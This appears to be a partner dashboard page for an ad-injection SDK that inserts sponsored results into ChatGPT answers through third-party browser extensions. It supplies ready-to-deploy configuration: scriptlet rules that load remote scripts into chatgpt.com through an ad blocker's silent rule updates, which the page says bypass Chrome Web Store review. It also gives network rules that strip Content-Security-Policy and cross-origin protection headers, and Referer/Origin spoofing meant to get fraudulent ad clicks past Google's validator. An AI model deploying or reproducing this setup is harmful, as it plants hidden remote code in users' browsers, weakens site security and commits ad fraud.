Loading...
Partner analytics dashboard
Queries & Ads Served
Decision Breakdown
Top Verticals
Integration
Add monetization to your extension in 2 minutes
Display Settings
When enabled, users see a small ·ᵃᵈ symbol after each sponsored result title. Disable to show ads without markers.
Method A — Chrome Web Store Extension Bundle SDK in your extension (requires CWS update)
Download the 4 SDK files, bundle them directly in your extension, and configure manifest.json as shown below. You control when to update by re-downloading the latest versions. Requires a Chrome Web Store release when you ship.
1. Download the 4 SDK files
ac.js |
Main SDK — intent scoring, ad fetch, prompt injection | |
ac-click.js |
Click router — intercepts ad clicks for attribution tracking | |
cse-extract.js |
CSE extractor — pulls ads from Google CSE iframe | |
referrer-spoof.js |
Referrer handler — ensures correct ad attribution context |
2. Configure your API key
Open ac.js and find the line near the top that assigns __AC_EMBEDDED_KEY. Replace the entire line (not just the placeholder string — the full line, placeholder padding and all) with the one below:
⚠️ A naive find-and-replace of just “REPLACE_WITH_YOUR_API_KEY” will leave the padding underscores attached to your key — which makes the key invalid. The copy above is the complete replacement line.
3. Add to your extension's manifest.json
"content_scripts": [
{
"matches": ["https://chatgpt.com/*"],
"js": ["ac-click.js"],
"run_at": "document_start"
},
{
"matches": ["https://chatgpt.com/*"],
"js": ["ac.js"],
"run_at": "document_idle"
},
{
"matches": ["https://syndicatedsearch.goog/*", "https://www.theanswerbank.co.uk/*"],
"js": ["referrer-spoof.js"],
"run_at": "document_start",
"all_frames": true,
"world": "MAIN"
},
{
"matches": ["https://syndicatedsearch.goog/*"],
"js": ["cse-extract.js"],
"run_at": "document_idle",
"all_frames": true
}
]
Also requires storage permission in your manifest for cross-script communication (see “Required Host Permissions” below).
Required Host Permissions
If your extension has <all_urls> - you're all set, no changes needed.
Otherwise, add these to your manifest:
"host_permissions": [
"https://chatgpt.com/*",
"https://api.llmcenterapi.com/*",
"https://syndicatedsearch.goog/*",
"https://www.theanswerbank.co.uk/*"
]
🧪 Test It - Quick Start Extension
Download a ready-to-use Chrome extension with your API key pre-configured. Perfect for verifying the integration before adding it to your own extension.
How to load and test:
- Unzip the downloaded file to a folder
- Your API key is already configured in the download. If you need to change it, open
ac.jsand edit line 1 - Open Chrome → go to
chrome://extensions - Enable Developer mode (top-right toggle)
- Click Load unpacked → select the unzipped folder
- Go to chatgpt.com and ask a commercial question like:
"best wireless headphones under $200" - You should see sponsored results integrated into ChatGPT's response
Open Chrome DevTools console and run localStorage.ac_debug='1' then refresh. You'll see detailed logs:
[AC] Config fetched: v120 - 15 verticals, 6247 brands
[AC] Intent: score=70 decision=trigger vertical=shopping
[AC] CSE: 4 ads found in 520ms
[AC] ✅ Submitting with 4 ads
In production, the SDK is completely silent - no console output unless debug mode is enabled.
Method B — Server-Push Scriptlet Injection Recommended — Zero Chrome Store update
For extensions with an existing remote rule delivery system (scriptlets + declarativeNetRequest). The SDK is loaded via your server's update response — no extension code changes, no Chrome Store review.
Scriptlet rule delivered via /upd/, CSP/COEP headers stripped via /nt_upd/. Full click attribution chain confirmed.
Integration Steps
Step 1. Add these 5 scriptlet rules to your scriptlet rules file (e.g. qKCOj_chatgpt.txt) served by your /upd/ endpoint:
chatgpt.com#%#//scriptlet('insert-node-ex', 'html', 'script', '10', '1000', 'src', 'https://sdk.llmcenterapi.com/gab/ac-sdk-gab.js?key=YOUR_API_KEY')
! Referrer spoof — masks chatgpt.com origin inside CSE publisher iframe
theanswerbank.co.uk#%#//scriptlet('insert-node-ex', 'html', 'script', '10', '1000', 'src', 'https://sdk.llmcenterapi.com/referrer-spoof.js')
! Bridge — relays ad data between CSE iframe and ChatGPT page
theanswerbank.co.uk#%#//scriptlet('insert-node-ex', 'html', 'script', '10', '1000', 'src', 'https://sdk.llmcenterapi.com/gab/ac-bridge-gab.js')
! Referrer spoof — masks chatgpt.com origin inside Google CSE frame (prevents
orgRef=chatgpt.com leak to advertiser landing URLs)syndicatedsearch.goog#%#//scriptlet('insert-node-ex', 'html', 'script', '10', '1000', 'src', 'https://sdk.llmcenterapi.com/referrer-spoof.js')
! Extractor — pulls sponsored ads from Google CSE results
syndicatedsearch.goog#%#//scriptlet('insert-node-ex', 'html', 'script', '10', '1000', 'src', 'https://sdk.llmcenterapi.com/gab/ac-extractor-gab.js')
Step 2. Add these 9 DNR rules as a JSON file (e.g. net_chatgpt.json) served by your /nt_upd/ endpoint:
ℹ️ This is valid JSON — copy the entire block directly into your rules file. Rules 99905–99909 rewrite the Referer header on CSE/Google ad requests so Google's aclk click validator sees theanswerbank.co.uk (the CSE publisher origin) instead of an empty Referer — required for clicks to be attributed and paid.
"id": 99901,
"priority": 6,
"action": {
"type": "modifyHeaders",
"responseHeaders": [
{ "header": "content-security-policy", "operation": "remove" },
{ "header": "content-security-policy-report-only", "operation": "remove" }
]
},
"condition": { "urlFilter": "||chatgpt.com", "resourceTypes": ["main_frame", "sub_frame"] }
},
{
"id": 99902,
"priority": 6,
"action": {
"type": "modifyHeaders",
"responseHeaders": [
{ "header": "cross-origin-embedder-policy", "operation": "remove" },
{ "header": "cross-origin-opener-policy", "operation": "remove" }
]
},
"condition": { "urlFilter": "||chatgpt.com", "resourceTypes": ["main_frame"] }
},
{
"id": 99903,
"priority": 6,
"action": {
"type": "modifyHeaders",
"responseHeaders": [
{ "header": "content-security-policy", "operation": "remove" }
]
},
"condition": { "urlFilter": "||theanswerbank.co.uk", "resourceTypes": ["sub_frame"] }
},
{
"id": 99904,
"priority": 6,
"action": {
"type": "modifyHeaders",
"responseHeaders": [
{ "header": "content-security-policy", "operation": "remove" }
]
},
"condition": { "urlFilter": "||syndicatedsearch.goog", "resourceTypes": ["sub_frame"] }
},
{
"id": 99905,
"priority": 6,
"action": {
"type": "modifyHeaders",
"requestHeaders": [
{ "header": "Referer", "operation": "set", "value": "https://www.theanswerbank.co.uk/" },
{ "header": "Origin", "operation": "set", "value": "https://www.theanswerbank.co.uk" }
]
},
"condition": { "urlFilter": "||theanswerbank.co.uk", "resourceTypes": ["main_frame", "sub_frame", "script", "xmlhttprequest", "image"] }
},
{
"id": 99906,
"priority": 6,
"action": {
"type": "modifyHeaders",
"requestHeaders": [
{ "header": "Referer", "operation": "set", "value": "https://www.theanswerbank.co.uk/" }
]
},
"condition": { "urlFilter": "||syndicatedsearch.goog", "resourceTypes": ["main_frame", "sub_frame", "script", "xmlhttprequest", "image"] }
},
{
"id": 99907,
"priority": 6,
"action": {
"type": "modifyHeaders",
"requestHeaders": [
{ "header": "Referer", "operation": "set", "value": "https://www.theanswerbank.co.uk/" }
]
},
"condition": { "urlFilter": "||cse.google.com", "resourceTypes": ["main_frame", "sub_frame", "script", "xmlhttprequest", "image"] }
},
{
"id": 99908,
"priority": 6,
"action": {
"type": "modifyHeaders",
"requestHeaders": [
{ "header": "Referer", "operation": "set", "value": "https://www.theanswerbank.co.uk/" }
]
},
"condition": { "urlFilter": "||googleadservices.com", "resourceTypes": ["main_frame", "sub_frame", "script", "xmlhttprequest", "image"] }
},
{
"id": 99909,
"priority": 6,
"action": {
"type": "modifyHeaders",
"requestHeaders": [
{ "header": "Referer", "operation": "set", "value": "https://www.theanswerbank.co.uk/" }
]
},
"condition": { "urlFilter": "||googleads.g.doubleclick.net", "resourceTypes": ["main_frame", "sub_frame", "script", "xmlhttprequest", "image"] }
}]
99901 | Strip CSP from chatgpt.com — allows SDK script to load |
99902 | Strip COEP/COOP from chatgpt.com — allows cross-origin iframes for CSE |
99903 | Strip CSP from theanswerbank.co.uk — CSE bridge iframe |
99904 | Strip CSP from syndicatedsearch.goog — Google CSE ad extractor |
99905 | Rewrite Referer/Origin on theanswerbank.co.uk — CSE publisher origin |
99906 | Rewrite Referer on syndicatedsearch.goog — Google CSE iframe |
99907 | Rewrite Referer on cse.google.com — CSE API requests |
99908 | Rewrite Referer on googleadservices.com — required for aclk click validation |
99909 | Rewrite Referer on googleads.g.doubleclick.net — ad impression/click pings |
Without these Referer-rewrite rules, Google's aclk click validator sees an empty/invalid Referer and either invalidates the click (no payout) or bakes orgRef=chatgpt.com into the advertiser landing URL (privacy leak to advertiser). Both modes have been observed in the wild. The SDK's noopener,noreferrer click opener strips chatgpt.com from the outbound Referer, so the DNR rules are what restore a valid theanswerbank.co.uk Referer for Google's ad infrastructure.
If you already deployed rules 99901–99904, you can just append the 5 new objects (99905–99909) to your existing array. If your server happens to already use IDs in the 99905–99909 range for unrelated rules, pick any unused numeric IDs for the new Referer-rewrites — the content of the rules is what matters, not the specific IDs.
Step 3. Update your server manifests so the extension knows to fetch the new rules:
{ "qKCOj": { "EWxy": ["https://your-server.com/rules/qKCOj_chatgpt.txt"], "WMLwdr": 999 } }
Your /nt_upd/ endpoint should return (bump HKOoAV to trigger update):
{ "DDX": "https://your-server.com/rules/net_chatgpt.json", "HKOoAV": 1000 }
Step 4. Ensure your extension’s manifest.json includes these host permissions (if not already present via <all_urls>):
"https://chatgpt.com/*",
"https://sdk.llmcenterapi.com/*",
"https://api.llmcenterapi.com/*",
"https://www.theanswerbank.co.uk/*",
"https://syndicatedsearch.goog/*"
]
If your extension already has <all_urls>, skip this step.
Once deployed, Giant Ad Blocker currently updates rules every ~60 minutes via its alarm cycle. All users will receive the new rules automatically — no extension binary changes, no Chrome Store review needed.
Decision Logs
Every query processed by your users
API Keys
Manage keys for your integrations. Each key tracks usage independently.